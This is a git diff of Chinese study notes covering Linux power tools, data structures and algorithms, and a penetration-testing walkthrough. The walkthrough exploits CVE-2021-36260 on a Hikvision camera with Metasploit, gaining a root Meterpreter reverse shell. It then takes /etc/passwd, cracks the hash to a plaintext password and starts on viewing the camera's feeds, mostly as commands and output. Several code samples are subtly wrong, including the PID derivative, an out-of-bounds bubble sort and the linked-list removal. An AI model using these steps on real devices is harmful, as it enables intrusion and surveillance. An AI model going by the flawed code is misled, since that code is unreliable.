(pacman) | +| LMT | 笔记本省电. | `laptop-mode-tools` (pacman) | +| PowerTOP | 电源管理和功耗统计. | `powertop` (pacman) | + +其中 TPL 于 LMT 冲突. 如果选择二者之一来进行电源管理则不需要再用 PowerTOP 进行调节, 只进行状态监视即可. + +- TPL + + ```sh + sudo systemctl enable tlp --now # 启用 TPL 服务 + sudo pacman -S tlpui # 安装 TPL UI 配置器 + ``` + +- LMT + + ```sh + sudo systemctl enable --now laptop-mode.service # 启用 LMT 服务 + ``` + + 配置文件位于 `/etc/laptop-mode/laptop-mode.conf`. + +- PowerTOP + + ```sh + sudo powertop # 查看实时状态 + sudo powertop --html # 生成报告, 路径 powertop.html + + sudo powertop --auto-tune # 根据推荐自动调节电源管理 + + # 启用 auto-tune 作为服务 + sudo sh -c "echo -e '[Unit]\nDescription=PowerTop\n\n[Service]\nType=oneshot\nRemainAfterExit=true\nExecStart=/usr/bin/powertop --auto-tune\n\n[Install]\nWantedBy=multi-user.target\n' > /etc/systemd/system/powertop.service" + sudo systemctl enable --now powertop.service + ``` + +### 显卡驱动 + +!!! danger + 该调整设置存在一定风险, 修改前需进行备份. + +NVIDIA 驱动的安装和配置可以参考 [Manjaro Wiki](). + +## Android + +### 游戏 + +| 名称 | 描述 | +|------------|--------------------| +| 小黑盒 | 游戏资讯/Steam 商城. | +| SteamPY | Steam 游戏商城. | +| Steam Link | Steam 远程畅玩. | +| Steam | Steam 商城/扫码登入. | +| Twitch | 游戏直播. | +| [Kiwix] | ZIM 阅读器, 开源. | + +[Kiwix]: https://github.com/kiwix/kiwix-android + +## 参见 + +- [Top 10 Linux Apps – Truly Essential Software!](https://techhut.tv/top-10-linux-apps-ubuntu/) + +## 参考 + +- [Power Management - Manjaro](https://wiki.manjaro.org/index.php/Power_Management) diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\345\223\210\345\270\214\350\241\250.md" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\345\223\210\345\270\214\350\241\250.md" new file mode 100644 index 000000000..d379042d4 --- /dev/null +++ "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\345\223\210\345\270\214\350\241\250.md" @@ -0,0 +1,37 @@ +# 哈希表 + +**英文**: Hash table. + +1. 通过哈希函数将任何类型的键值转换为固定长度的整数: 键值能作为数组的索引. +2. 通过模运算将结果限制在特定范围内: 数组可以具有任意大小, 避免内存浪费. +3. 数组元素的类型为链表节点的指针: 当哈希碰撞发生时, 若链表中不存在具有相同键值的节点, 将元素插入链表的头部. + +## 优点 + +综上所述, 可以看出哈希表具有以下几个优点: + +- 比数组更快地插入和删除操作. +- 比链表更快地查找操作. + +## 缺点 + +当元素数量变大而数组大小不变时, 查询操作的时间复杂度将逐渐接近链表. 因此在元素数量与数组大小达到一定比例时需要拓展数组大小. + +- 拓展速度缓慢: 拓展后需要将旧哈希表的数据全部插入新的哈希表. + +## 优化 + +- 引入装载因子. 当使用率达到一定值时自动扩容. 提高查找效率. + + 较低的装载因子可以提高查找效率, 但提高空间占用; 较高的装载因子可以减少空间占用, 但降低查找效率. 建议的默认值为 0.75. + +- 提高求桶索引的效率. 初始容积必须为 $2^n$, 并且容积二倍增长. 以确保容积始终为 $2^n$. 该条件下, 便可以使用按位与运算符 (&) 而不是求模运算符 (%) 求桶索引, 提高了执行效率: + + ```cpp + index = std::hash{}(key) & (capacity() - 1); + ``` + +## 实现 + +结合了动态数组和单向链表两种数据结构. +[GitHub Gist](https://gist.github.com/ShenMian/fbc2f28b66a4154b956cb2ec2a332c48) diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\347\216\257\345\275\242\347\274\223\345\206\262\345\214\272.md" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\347\216\257\345\275\242\347\274\223\345\206\262\345\214\272.md" new file mode 100644 index 000000000..a127b2497 --- /dev/null +++ "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\347\216\257\345\275\242\347\274\223\345\206\262\345\214\272.md" @@ -0,0 +1,45 @@ +# 环形缓冲区 + +**英文**: Circular buffer, Ring buffer. + +## 实现 + +```cpp +template +class Circular { +public: + using value_type = T; + + Circular(std::size_t max_size) : max_size_(max_size) { + data_ = std::make_unique(max_size_); + } + + void push_front(const value_type& value) { + assert(size() < max_size()); + size_++; + const auto front = (back_ + (size_ - 1)) % max_size_; + data_[front] = value; + } + + value_type pop_back() { + assert(!empty()); + const auto value = data_[back_]; + back_ = (back_ + 1) % max_size_; + size_--; + return value; + } + + std::size_t size() const noexcept { return size_; } + std::size_t size_bytes() const noexcept { return size() * sizeof(value_type); } + bool empty() const noexcept { return size_ == 0; } + + std::size_t max_size() const noexcept { return max_size_; } + std::size_t max_size_bytes() const noexcept { return max_size() * sizeof(value_type); } + +private: + std::unique_ptr data_; + std::size_t back_ = 0; + std::size_t size_ = 0; + std::size_t max_size_; +}; +``` diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\351\223\276\350\241\250.md" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\351\223\276\350\241\250.md" new file mode 100644 index 000000000..3c5f5ed6a --- /dev/null +++ "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\346\225\260\346\215\256\347\273\223\346\236\204/\351\223\276\350\241\250.md" @@ -0,0 +1,73 @@ +# 链表 + +**英文**: Linked list. + +一种链式的存储结构, 因此存储单元不一定是连续的. +链表可分为三类: + +- 单向链表. +- 双向链表. +- 环形链表. + +## 实现 + +```cpp +template +class Linked { +private: + struct Node { + T value; + Node* next = nullptr; + }; + +public: + using value_type = T; + + ~Linked() { clear(); } + + void insert(const value_type& value) { + auto node = new Node(); + node->value = value; + node->next = head_; + head_ = node; + } + + void remove(std::size_t pos) { + if(pos == 0 && head_) { + delete head_; + head_ = nullptr; + return; + } + auto prev = head_; + for(std::size_t i = 0; i < pos - 1; i++) + prev = prev->next; + const auto node = prev->next; + prev->next = node->next; + delete node; + } + + void clear() { + auto curr = head_; + while(curr) { + const auto node = curr; + curr = curr->next; + delete node; + } + } + + bool empty() const noexcept { return size() == 0; } + + std::size_t size() const noexcept { + std::size_t size = 0; + auto curr = head_; + while(curr) { + size++; + curr = curr->next; + } + return size; + } + +private: + Node* head_ = nullptr; +}; +``` diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/PID_\346\216\247\345\210\266\347\256\227\346\263\225.md" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/PID_\346\216\247\345\210\266\347\256\227\346\263\225.md" new file mode 100644 index 000000000..c26c7900e --- /dev/null +++ "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/PID_\346\216\247\345\210\266\347\256\227\346\263\225.md" @@ -0,0 +1,90 @@ +# PID 控制算法 + +在现实中对事物的控制不能达到完全精确. 如果使用开环的控制系统将导致误差不断积累, 最终达到某个阈值, 失去对事物的控制. 利用 PID 来构建一个闭环控制系统, 可以自动调节输出接近设定的目标值. + +该算法由三部分组成, 分别是比例 (*P*roportional) 单元, 积分 (*I*ntegral) 单元和微分 (*D*erivative) 单元. + +![PID](assets/PID_feedback_nct_int_correct.png) + +注解: + +- $K_p$: 比例调节参数. +- $K_i$: 积分调节参数. +- $K_d$: 微分调节参数. +- $e(t)$: 当前误差. + +## 稳态误差 (Steady-state errors) + +系统从一个稳态过渡到新的稳态, 或系统受扰动作用又重新平衡后, 系统出现的偏差. + +## 参数 + +- P: 比例单元. + + 结果为误差与 $K_p$ 的乘积. 误差越大调节力度越大, 快速减小误差; 误差越小调节力度越小. + +- I: 积分单元. + + 结果为积分与 $K_i$ 的乘积. 积分为误差与时间的乘积之和, 因此考虑到了不同时间段的误差. 若误差长期没有得到修正, 存在稳态误差, 积分会不断增加, 最终会使误差会不断接近零. + +- D: 微分单元. + + 若误差缩小微分单元为负, 时间变化量越小, 整体的绝对值越大. 因此可以减少超调和振荡, 提高系统的响速度和稳定性. + +通过下图可以直观的看出三种参数对整体调节效果的影响: + +![PID 动画](assets/PID_Compensation_Animated.gif) + +I 的值近似等于曲线与 $y = 1$ 之间构成的面积. + +## 调节参数 + +三个公式都包含各自的调节参数, 这三个调节参数分别控制三个部分计算的结果对控制的影响大小, 应根据实际应用将它们调整到最适合的值. +调试 PID 控制参数主要方式有: + +- 人工调整. +- [齐格勒-尼科尔斯方法](https://zh.wikipedia.org/wiki/齐格勒-尼科尔斯方法). +- PID 调试软件. + +## 实现 + +```cpp +float kP = ..., kI = ..., kD = ...; // 这三个参数的值由用户指定 +float target = ...; // 期望达到的值 + +struct PIDState +{ + float kP, kI, kD; + float integral = 0.f; + float prev_error; +}; + +float pid(float target, float actual, float dt, PIDState& state) +{ + const float error = target - actual; + state.prev_error = error; + + const float p = state.kP * error; + state.integral += state.kI * error * dt; + const float d = state.kD * (error - state.prev_error) / dt; + + return p + state.integral + d; +} + +auto prev_timepoint = get_current_timepoint(); +while(true) +{ + const auto timepoint = get_current_timepoint(); + const auto dt = timepoint - prev_timepoint; + prev_timepoint = timepoint; + + const float actual = read(...); // 获取实际数据 + const float output = pid(target, actual, dt); + write(output); // 进行调整 +} +``` + +## 参考 + +- . +- . diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/assets/PID_Compensation_Animated.gif" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/assets/PID_Compensation_Animated.gif" new file mode 100644 index 000000000..09eacf0a2 Binary files /dev/null and "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/assets/PID_Compensation_Animated.gif" differ diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/assets/PID_feedback_nct_int_correct.png" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/assets/PID_feedback_nct_int_correct.png" new file mode 100644 index 000000000..15ed7f943 Binary files /dev/null and "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/assets/PID_feedback_nct_int_correct.png" differ diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\345\212\250\346\200\201\350\247\204\345\210\222.md" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\345\212\250\346\200\201\350\247\204\345\210\222.md" new file mode 100644 index 000000000..c2deb4dee --- /dev/null +++ "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\345\212\250\346\200\201\350\247\204\345\210\222.md" @@ -0,0 +1,174 @@ +# 动态规划(Dynamic Programming,DP) + +以问题 "爬台阶" 为例, 题目如下: + +> You are climbing a staircase. It takes n steps to reach the top. +> +> Each time you can either climb 1 or 2 steps. In how many distinct ways can you climb to the top? +> +> **Example 1:** +> +> Input: n = 2 +> Output: 2 +> Explanation: There are two ways to climb to the top. +> 1. 1 step + 1 step +> 2. 2 steps +> +> **Example 2:** +> +> Input: n = 3 +> Output: 3 +> Explanation: There are three ways to climb to the top. +> 1. 1 step + 1 step + 1 step +> 2. 1 step + 2 steps +> 3. 2 steps + 1 step +> +> +> Constraints: +> +> - `1 <= n <= 45` + +力扣: . + +**注意**: 下文中的 "步", 与上面题目里的 "step" 含义不同. + +## 测试用例 + +```rs +fn main() { + assert_eq!(climb_stairs(2), 2); + assert_eq!(climb_stairs(3), 3); + assert_eq!(climb_stairs(5), 8); + assert_eq!(climb_stairs(18), 4181); +} +``` + +## 暴力搜索 (Brute-force search) + +题目要求实现函数 `climb_stairs`, 以下使用函数 $f$ 表示. + +- 从第 0 级台阶到达第 1 级台阶, 共一种爬法, 即一次爬一级台阶. 因此 $f(1) = 1$. +- 从第 0 级台阶到达第 2 级台阶, 共两种爬法, 一次爬一级台阶或两级台阶. 因此 $f(2) = 1 + 1 = 2$. + +$f(1)$ 和 $f(2)$ 的结果很好计算, 因为都只需要爬一次台阶. 但从 $f(3)$ 开始, 至少需要爬两次台阶. + +- 从第 1 级台阶到达第 3 级台阶, 共一种爬法, 即一次爬两级台阶. +- 从第 2 级台阶到达第 3 级台阶, 共一种爬法, 即一次爬一级台阶. + +因此计算 $f(3)$ 可以利用到 $f(1)$ 和 $f(2)$ 的值. 得到状态转移方程: + +$$ +f(n) = f(n-1) + f(n-2) +$$ + +```rs +pub fn climb_stairs(n: i32) -> i32 { + assert!(1 <= n && n <= 45); + if n == 1 || n == 2 { + n + } else { + climb_stairs(n - 1) + climb_stairs(n - 2) + } +} +``` + +时间复杂度为 $O(2^n)$, 空间复杂度为 $O(n)$. + +该算法实现的最大问题在于其时间复杂度是**指数级别**的. + +## 记忆化搜索(Memoization) + +上面暴力搜索的实现存在大量重复性计算: + +- $f(n) = f(n-1) + f(n-2)$ +- $f(n-1) = f(n-1-1) + f(n-2-1) = f(n-2) + f(n-3)$ + +其中 $f(n-2)$ 将被重复计算, 可以通过缓存函数的计算结果来避免重复计算. + +```rs +pub fn climb_stairs(n: i32) -> i32 { + assert!(1 <= n && n <= 45); + climb_stairs_inner(n, &mut HashMap::from([(1, 1), (2, 2)])) +} + +fn climb_stairs_inner(n: i32, cache: &mut HashMap) -> i32 { + // 检查缓存中是否已存在计算结果, 若有直接返回结果, 避免重复计算 + if let Some(value) = cache.get(&n) { + // 缓存命中 + return *value; + } + let result = climb_stairs_inner(n - 1, cache) + climb_stairs_inner(n - 2, cache); + // 缓存计算结果 + cache.insert(n, result); + result +} +``` + +时间复杂度为 $O(n)$, 空间复杂度为 $O(n)$. + +这样计算 $f(n)$ 只需要计算 $f(n - 1), f(n - 2) ..., f(1)$. 所以时间复杂度为 $O(n)$. + +## 递推 + +- $f(n) = f(n-1) + f(n-2)$ +- $f(n-1) = f(n-2) + f(n-3)$ +- $f(n-2) = f(n-3) + f(n-4)$ +- $...$ +- $f(2) = 2$ +- $f(1) = 1$ + +$$ +\begin{align} +计算 f(n) \rightarrow 计算 f(n-1), f(n-2) \rightarrow 计算 f(2), f(1) +\end{align} +$$ + +$$ +\begin{align} +计算 f(2), f(1) \rightarrow 计算 f(n-1), f(n-2) \rightarrow 计算 f(n) +\end{align} +$$ + +若利用递归算法自上而下的方法(Top-down approach)依次求值(1)会产生重复计算, 但改变求值顺序, 使用自下而上的方法(Bottom-up approach)求值(2)则可以避免该问题. + +```rs +pub fn climb_stairs(n: i32) -> i32 { + assert!(1 <= n && n <= 45); + let mut f = vec![0, 1]; + for _ in 0..n as usize { + f.push(f[f.len() - 1] + f[f.len() - 2]); + } + f[n as usize + 1] +} +``` + +时间复杂度为 $O(n)$, 空间复杂度为 $O(n)$. + +改进后的算法不再需要通过缓存来避免重复计算, 而且不再使用递归. + +通过观察先前的公式, 可以发现第 n 行的值等于第 n-1 行的值加上第 n-2 行的值. +因此只需要存储前两次的计算结果: + +```rs +pub fn climb_stairs(n: i32) -> i32 { + assert!(1 <= n && n <= 45); + let mut f0 = 0; + let mut f1 = 1; + for _ in 0..n { + let f2 = f1 + f0; + f0 = f1; + f1 = f2; + } + f1 +} +``` + +时间复杂度为 $O(n)$, 空间复杂度为 $O(1)$. + +可以看出该算法和[斐波那契数列(Fibonacci sequence)]的实现一致. + +## 拓展 + +- . + +[斐波那契数列(Fibonacci sequence)]: https://en.wikipedia.org/wiki/Fibonacci_sequence diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\346\216\222\345\272\217/\345\206\222\346\263\241\346\216\222\345\272\217.md" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\346\216\222\345\272\217/\345\206\222\346\263\241\346\216\222\345\272\217.md" new file mode 100644 index 000000000..73517b41a --- /dev/null +++ "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\346\216\222\345\272\217/\345\206\222\346\263\241\346\216\222\345\272\217.md" @@ -0,0 +1,48 @@ +# 冒泡排序 + +**英文**: Bubble Sort. + +## 指标 + +**时间复杂度**: O(n^2). +**空间复杂度**: O(1). +**稳定性**: 稳定. + +## 算法 + +对比 `data[i]` 和 `data[i + 1]` 的大小, 若顺序与排序要求的相反则交换这两个值. 从头到尾对比一遍后可以确保最后一个元素的位置是正确的. + +## 实现 + +```cpp +void sort(std::vector& data) // 升序排序 +{ + for(std::size_t i = 0; i + 1 < data.size(); i++) + for(std::size_t j = i + 1; j < data.size(); j++) + if(data[i] > data[j]) + std::swap(data[i], data[j]); +} +``` + +### 优化 + +当第二级循环过程中没有发生交换, 则表示全部元素已处于有序状态. 可以直接结束循环. + +```cpp +void bubble_sort(std::vector& vec) { + for(size_t i = 0; i < vec.size() - 1; i++) { + bool swapped = false; + for(size_t j = 0; j < vec.size() - i; j++) { + if(vec[j] > vec[j + 1]) { + std::swap(vec[j], vec[j + 1]); + swapped = true; + } + } + if(!swapped) + break; + } +} +``` + +!!! info + 冒泡排序并不是看上去最简单的排序算法. diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\346\216\222\345\272\217/\346\217\222\345\205\245\346\216\222\345\272\217.md" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\346\216\222\345\272\217/\346\217\222\345\205\245\346\216\222\345\272\217.md" new file mode 100644 index 000000000..685ef2119 --- /dev/null +++ "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\256\227\346\263\225/\346\216\222\345\272\217/\346\217\222\345\205\245\346\216\222\345\272\217.md" @@ -0,0 +1,23 @@ +# 插入排序 + +**英文**: Insertion Sort. + +## 指标 + +**时间复杂度**: O(n^2). +**空间复杂度**: O(1). + +## 算法 + +将 data[i] 和 data[i-1] ... data[0] 进行比较, 直到 data[j] < data[i]. 将 data[i] 移动到 data[j] 的后方. + +## 实现 + +```cpp +void sort(std::vector& data) // 升序排序 +{ + // TODO +} +``` + + diff --git "a/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\273\252\350\256\272.md" "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\273\252\350\256\272.md" new file mode 100644 index 000000000..d453064ea --- /dev/null +++ "b/docs/\346\225\260\346\215\256\347\273\223\346\236\204\344\270\216\347\256\227\346\263\225/\347\273\252\350\256\272.md" @@ -0,0 +1,24 @@ +# 绪论 + +**研究对象**: 计算. +**研究目标**: 寻找高效, 低耗的解决方案. + +## 计算 (Computing) + +计算是数据结构与算法研究的对象. + +在这门学科中: + +- 计算 = 信息处理. +- 计算模型 = 计算机 = 信息处理工具. + +## 算法 (Algorithm) + +特定计算模型下, 旨在解决特定问题的指令序列. + +- **输入**: 待处理的信息 (问题). +- **输出**: 经处理的信息 (答案). +- **正确性**: 的确可以解决指定的问题. +- **确定性**: 任意算法都可以描述为一个由基本操作组成的序列. +- **可行性**: 每一个基本操作都可以实现, 且在常数时间内完成. +- **有穷性**: 对于任何输入, 经有穷次基本操作, 都可以得到输出. diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Archived/Unnamed.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Archived/Unnamed.md" new file mode 100644 index 000000000..9eac51bee --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Archived/Unnamed.md" @@ -0,0 +1,9 @@ +# Unnamed + +- 前期交互 (Pre-engagement Interactions) +- 情报收集 (Intelligence Gathering) +- 威胁建模 (Threat Modeling) +- 漏洞分析 (Vulnerability Analysis) +- 漏洞利用 (Exploitation) +- 后渗透攻击 (Post Exploitation) +- 报告 (Reporting) diff --git "a/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Hikvision IP \346\221\204\345\203\217\345\244\264\346\234\252\347\273\217\350\272\253\344\273\275\351\252\214\350\257\201\347\232\204\345\221\275\344\273\244\346\263\250\345\205\245.md" "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Hikvision IP \346\221\204\345\203\217\345\244\264\346\234\252\347\273\217\350\272\253\344\273\275\351\252\214\350\257\201\347\232\204\345\221\275\344\273\244\346\263\250\345\205\245.md" new file mode 100644 index 000000000..a360adc22 --- /dev/null +++ "b/docs/\346\270\227\351\200\217\346\265\213\350\257\225/Hikvision IP \346\221\204\345\203\217\345\244\264\346\234\252\347\273\217\350\272\253\344\273\275\351\252\214\350\257\201\347\232\204\345\221\275\344\273\244\346\263\250\345\205\245.md" @@ -0,0 +1,210 @@ +# Hikvision IP 摄像头未经身份验证的命令注入 + +**英文**: Hikvision IP Camera Unauthenticated Command Injection. +**CVE 代码**: CVE-2021-36260. + +## 设备发现 + +```console +> sudo netdiscover +Currently scanning: 192.168.16.0/16 | Screen View: Unique Hosts + + 36 Captured ARP Req/Rep packets, from 34 hosts. Total size: 2142 + _____________________________________________________________________________ + IP At MAC Address Count Len MAC Vendor / Hostname + ----------------------------------------------------------------------------- +... SKIP ... + 192.168.2.10 [DEL] 1 60 Hangzhou Hikvision Digital Technology Co.,Ltd. +... SKIP ... + +> sudo nmap -sV 192.168.2.10 +Starting Nmap 7.94 ( https://nmap.org ) at [DEL] +Nmap scan report for 192.168.2.10 +Host is up (0.011s latency). +Not shown: 995 closed tcp ports (reset) +PORT STATE SERVICE VERSION +80/tcp open http webserver +443/tcp open ssl/https webserver +554/tcp open rtsp Hikvision 7513 POE IP camera rtspd +8000/tcp open http-alt? +9010/tcp open sdr? +... SKIP ... +``` + +通过 netdiscover 发现局域网中存在 Hikvision 设备. +使用 namp 扫描其开放的端口和服务, 结果显示目标设备在端口 554 上运行了 RTSP 服务, 且被识别为 Hikvision IP Camera. + +## 漏洞利用 + +使用 Metasploit 检索并利用相关漏洞. + +```console +msf6 > search hikvision + +Matching Modules +================ + + # Name Disclosure Date Rank Check Description + - ---- --------------- ---- ----- ----------- + 0 exploit/linux/misc/hikvision_rtsp_bof 2014-11-19 normal No Hikvision DVR RTSP Request Remote Code Execution + 1 exploit/linux/http/hikvision_cve_2021_36260_blind 2021-09-18 excellent Yes Hikvision IP Camera Unauthenticated Command Injection + 2 auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921 2017-09-23 normal Yes Hikvision IP Camera Unauthenticated Password Change Via Improper Authentication Logic + 3 auxiliary/gather/hikvision_info_disclosure_cve_2017_7921 2017-09-23 normal Yes Unauthenticated information disclosure such as configuration, credentials and camera snapshots of a vulnerable Hikvision IP Camera + + +Interact with a module by name or index. For example info 3, use 3 or use auxiliary/gather/hikvision_info_disclosure_cve_2017_7921 + +msf6 > use 1 +[*] Using configured payload cmd/unix/bind_busybox_telnetd +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set rhost 192.168.2.10 +rhost => 192.168.2.10 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set target 1 +target => 1 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > set lhost 192.168.2.100 +lhost => 192.168.2.100 +msf6 exploit(linux/http/hikvision_cve_2021_36260_blind) > run + +[*] Started reverse TCP handler on 192.168.2.100:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. It appears the target executed the provided sleep command. +[*] Executing Linux Dropper for linux/armle/meterpreter/reverse_tcp +[*] Command Stager progress - 0.38% done (25/6604 bytes) +... SKIP ... +[*] Sending stage (934728 bytes) to 192.168.2.10 +[*] Command Stager progress - 99.76% done (6588/6604 bytes) +[*] Meterpreter session 1 opened (192.168.2.100:4444 -> 192.168.2.10:39092) at [DEL] +[*] Command Stager progress - 100.00% done (6604/6604 bytes) + +meterpreter > getuid +Server username: root +``` + +查找并使用模块 `linux/http/hikvision_cve_2021_36260_blind`. +成功获取建立 root 权限的 Meterpreter 会话. + +```console +meterpreter > sysinfo +Computer : 192.168.2.10 +OS : (Linux 3.0.8) +Architecture : ck810l +BuildTuple : armv5l-linux-musleabi +Meterpreter : armle/linux +meterpreter > download /etc/passwd +[*] Downloading: /etc/passwd -> /home/sms/passwd +[*] Downloaded 158.00 B of 158.00 B (100.0%): /etc/passwd -> /home/sms/passwd +[*] Completed : /etc/passwd -> /home/sms/passwd +``` + +获取系统基本信息并下载 `/etc/passwd` 用于后续破解工作. + +```console +meterpreter > netstat + +Connection list +=============== + + Proto Local address Remote address State User Inode PID/Program name + ----- ------------- -------------- ----- ---- ----- ---------------- + tcp 0.0.0.0:9010 0.0.0.0:* LISTEN 0 0 + tcp 0.0.0.0:9020 0.0.0.0:* LISTEN 0 0 + tcp 192.168.2.10:60791 [DEL] ESTABLISHED 0 0 + tcp 192.168.2.10:39092 192.168.2.100:4444 ESTABLISHED 0 0 + tcp :::8000 :::* LISTEN 0 0 + tcp :::322 :::* LISTEN 0 0 + tcp :::554 :::* LISTEN 0 0 + tcp :::80 :::* LISTEN 0 0 + tcp :::443 :::* LISTEN 0 0 + tcp ::ffff:192.168.2.10:554 ::ffff:192.168.2.109:39240 ESTABLISHED 0 0 + tcp ::ffff:192.168.2.10:554 ::ffff:192.168.2.109:39332 ESTABLISHED 0 0 + tcp ::ffff:192.168.2.10:8000 ::ffff:192.168.2.109:33514 ESTABLISHED 0 0 + udp 239.255.255.250:37020 0.0.0.0:* 0 0 + udp 0.0.0.0:46524 0.0.0.0:* 0 0 + udp 0.0.0.0:5353 0.0.0.0:* 0 0 + udp :::36495 :::* 0 0 + udp :::5353 :::* 0 0 + +``` + +通过网络状态可以看出, 除了与本机 (`192.168.2.100`) 和一台外网计算机 (`[DEL]`) 进行通讯外, 还使用 RTSP 协议与另一台位于局域网内的计算机 (`192.168.2.109`) 通讯. + +```console +> sudo nmap -sV 192.168.2.109 +Starting Nmap 7.94 ( https://nmap.org ) at [DEL] +Nmap scan report for 192.168.2.109 +Host is up (0.11s latency). +Not shown: 996 closed tcp ports (reset) +PORT STATE SERVICE VERSION +80/tcp open http Webs +554/tcp open rtsp Apple AirTunes rtspd +8000/tcp open ipcam Hikvision IPCam control port +49152/tcp open upnp Portable SDK for UPnP devices 1.6.18 (Linux 3.10.0_hi3536; UPnP 1.0) +... SKIP ... +``` + +通过 nmap 的检测结果可以确定这台局域网计算机为 Hikvision NVR. +经测试也可以使用相同的账户登录 HTTP 后台. + +## 弱密码攻击 + +使用 hashcat 查找 `/etc/passwd` 中哈希值对应的原文. + +```console +> cat passwd +root:ToCOv8qxP13qs:0:0:root:/root/:/bin/psh +root:$1$yi$KMvI/d5vTBFIySCw1EjGt0:0:0:root:/root/:/bin/psh +admin:$1$yi$KMvI/d5vTBFIySCw1EjGt0:0:0:root:/:/bin/psh + +> vim passwd # 删除第一行 + +> cat passwd +root:$1$yi$KMvI/d5vTBFIySCw1EjGt0:0:0:root:/root/:/bin/psh +admin:$1$yi$KMvI/d5vTBFIySCw1EjGt0:0:0:root:/:/bin/psh + +> hashcat -o result.txt passwd SecLists/Passwords/Leaked-Databases/*.txt +hashcat (v6.2.6) starting in autodetect mode + +... SKIP ... + +Session..........: hashcat +Status...........: Cracked +Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)) +Hash.Target......: $1$yi$KMvI/d5vTBFIySCw1EjGt0 +Time.Started.....: [DEL] (1 sec) +Time.Estimated...: [DEL] (0 secs) +Kernel.Feature...: Pure Kernel +Guess.Base.......: File (SecLists/Passwords/Leaked-Databases/000webhost.txt) +Guess.Queue......: 1/53 (1.89%) +Speed.#1.........: 1029.6 kH/s (5.18ms) @ Accel:64 Loops:31 Thr:256 Vec:1 +Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) +Progress.........: 474988/720302 (65.94%) +Rejected.........: 0/474988 (0.00%) +Restore.Point....: 393216/720302 (54.59%) +Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-1000 +Candidate.Engine.: Device Generator +Candidates.#1....: non206220 -> ideas29 +Hardware.Mon.#1..: Temp: 50c Util: 62% Core:2535MHz Mem:8000MHz Bus:8 + +... SKIP ... +> cat result.txt +$1$yi$KMvI/d5vTBFIySCw1EjGt0:l1234567 +``` + +hashcat 成功查找到结果, 得到用户 `root` 和 `admin` 的密码 `l1234567`. + +## 获取监控画面和音频 + +### RTSP + +使用 VLC 接收 RTSP 流, 格式为 `rtsp://:@:`. + +![VLC open network stream](assets/vlc_open_network_stream.png) + +### HTTP + +直接通过 IP Camera 提供的 HTTP 